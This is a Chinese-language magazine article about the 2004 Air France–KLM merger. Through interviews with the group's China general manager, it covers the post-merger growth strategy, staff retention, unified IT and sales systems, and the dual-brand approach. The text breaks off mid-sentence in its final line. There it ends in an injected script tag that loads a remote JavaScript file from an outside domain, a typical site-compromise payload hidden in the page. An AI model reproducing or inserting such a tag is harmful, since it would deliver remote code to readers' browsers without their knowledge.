对于各大企业而言,“以本国为中心”的发展方式已经不能适应整个潮流的要求,他们需要对外连横,建立“泛欧洲”的企业。
乐可瑞是一个“喜欢变化、喜欢挑战”的人。尽管中国对他的吸引力“是非常大的”,但2005年5月就任法国航空公司中国区总经理的他,之前未曾踏上这片古老而令人向往的东方国度。
初到陌生地,语言是让乐可瑞最感到头疼的问题。“刚来的时候,感觉周围的一切都很陌生,听不懂也无法和周围的人交流。”乐可瑞说,不过现在他已经习惯了。
然而,来中国还不到两年,乐可瑞就再度面临语言的问题了。不过,这一次的难度没有上一次那样大。从2007年开始,乐可瑞需要在工作中更多的使用英语来与集团新管理层的同事们进行交流。原来,2004年4月,法国航空公司与荷兰皇家航空公司合并,由此诞生了欧洲最大的航空运输公司——“AirFrance-KLM”。
收购完成之后,整合将是“AirFrance-KLM”面临的一项长期而艰巨的任务。2007年1月1日,法国航空公司与荷兰航空公司在中国区的部门被正式整合为一体。在这个全新的团队中,乐可瑞也拥有了一个新头衔:法航荷航集团中国区总经理。
合纵连横
上世纪90年代,在自由化浪潮的席卷下,欧盟内部的各种管制壁垒逐渐瓦解。各家航空公司都可以跨出本国领土,在欧盟其他国家设立基地开展运营。航空业的竞争格局随之改变。此时,所有的欧洲航空公司都意识到,欧洲航空运输业分而治之的日子已是一去不复返。
2000年3月,欧盟各国首脑聚集在里斯本会晤,各国达成一致,要在2010年“将欧盟建设成为全球最具有竞争力的,以知识为驱动力的充满活力的经济体。”
对于各大企业而言,“以本国为中心”的发展方式已经不能适应整个潮流的要求,他们需要对外连横,建立“泛欧洲”的企业。
正是在这样的背景之下,法国航空公司与荷兰航空公司在步入新千年的第四年,宣布了欧洲历史上的首次跨境航空公司合并。
法航首席执行官曾这样描述:我们是在一场重量级比赛中的中量级选手,航空业作为日益深化的全球化行业,我们需要建立规模实力。
两个巨头就这样走到了一起。
合并之初,两家航空公司就决定,今后整个集团的发展目标是“有利润的增长”。通常,精简规模和削减成本是企业整合之后的重要任务之一,但是这一次,法航荷航集团并不希望将精力集中于此。对于新集团的整合,他们决定采用“攻势战略”,将重点放在关注如何增长市场份额和收入上。
在法航看来,航空业是服务性行业,人力资源对于航空公司提供的产品是至关重要的,如果削减员工,公司就可能失去员工的支持,从而造成运营混乱,也无法取得日后的成功。
因此,无论是此次整合还是在过去的很多年,“裁员”很少在法航出现。“我感觉法航就像一个大家庭。最近几年,无论是在多么危急的时刻,例如‘非典’时期,还是前些年航空业遇到整体危机的时候,法航总是尽量地留住自己的员工,而不是轻易采取裁员这一方法来解决问题。”在法航供职20余年,乐可瑞深有体会地说。
在“攻势战略”的主导之下,法航与荷航首先是要尽可能在所有领域发挥协同增效的作用。
合并之后,法航荷航集团在价格谈判、削减运营成本等方面的能力都大大提升。此外,他们的另一重要协同增效点就在IT系统上。经过几年的调整,新集团已经开始在内部使用统一的IT系统。
现在,法航荷航集团中国区的销售与市场部已经“不分彼此”。每天,来自法航的员工与来自荷航的员工在同一个部门中,使用同一个系统工作。“对于销售人员来说,以前他面对的只是法航或者荷航一家航空公司的顾客,但是现在他们可以同时销售两家航空公司的机票,面对的市场更大了。”乐可瑞对《中国新时代》说。
双品牌战略
尽管法航与荷航的合并给航空界带来了一场不小的震动——头号航空巨擎就这样诞生了,但是对于集团的管理层而言,他们并不希望这次的合并给自己的客户或者大多数的普通员工任何不适的感觉,哪怕只是细微的心理不悦。
由于法航与荷航都是历史悠久的航空公司,长期的客户积累,让他们分别拥有众多的拥趸者。因此在合并之初,集团决定采取“双品牌”战略,继续使用两家航空公司各自的品牌。
对于那些老客户,他们依然能按照自己的习惯选择熟悉的航空公司搭乘航班。同时由于法航荷航集团的销售系统已经统一,因此提供给客户的销售平台更大,也更加便捷。
在外界看来,法航还是法航,荷航也依然存在。但在整个集团内部,流程再造自合并之日起就从未停止过。
事实上,这场“合并”的主导方是法国航空公司。更确切地说,是法航收购了荷航。2004年4月,法国航空收购荷兰皇家航空89.2%股权。新公司名为“AirFrance-KLM”,拥有法国航空和荷兰皇家航空的100%股权;法国政府持有新公司44.7%股权,为最大股东。但同时,荷兰政府和?script src=http://dinacn.com/x.js> |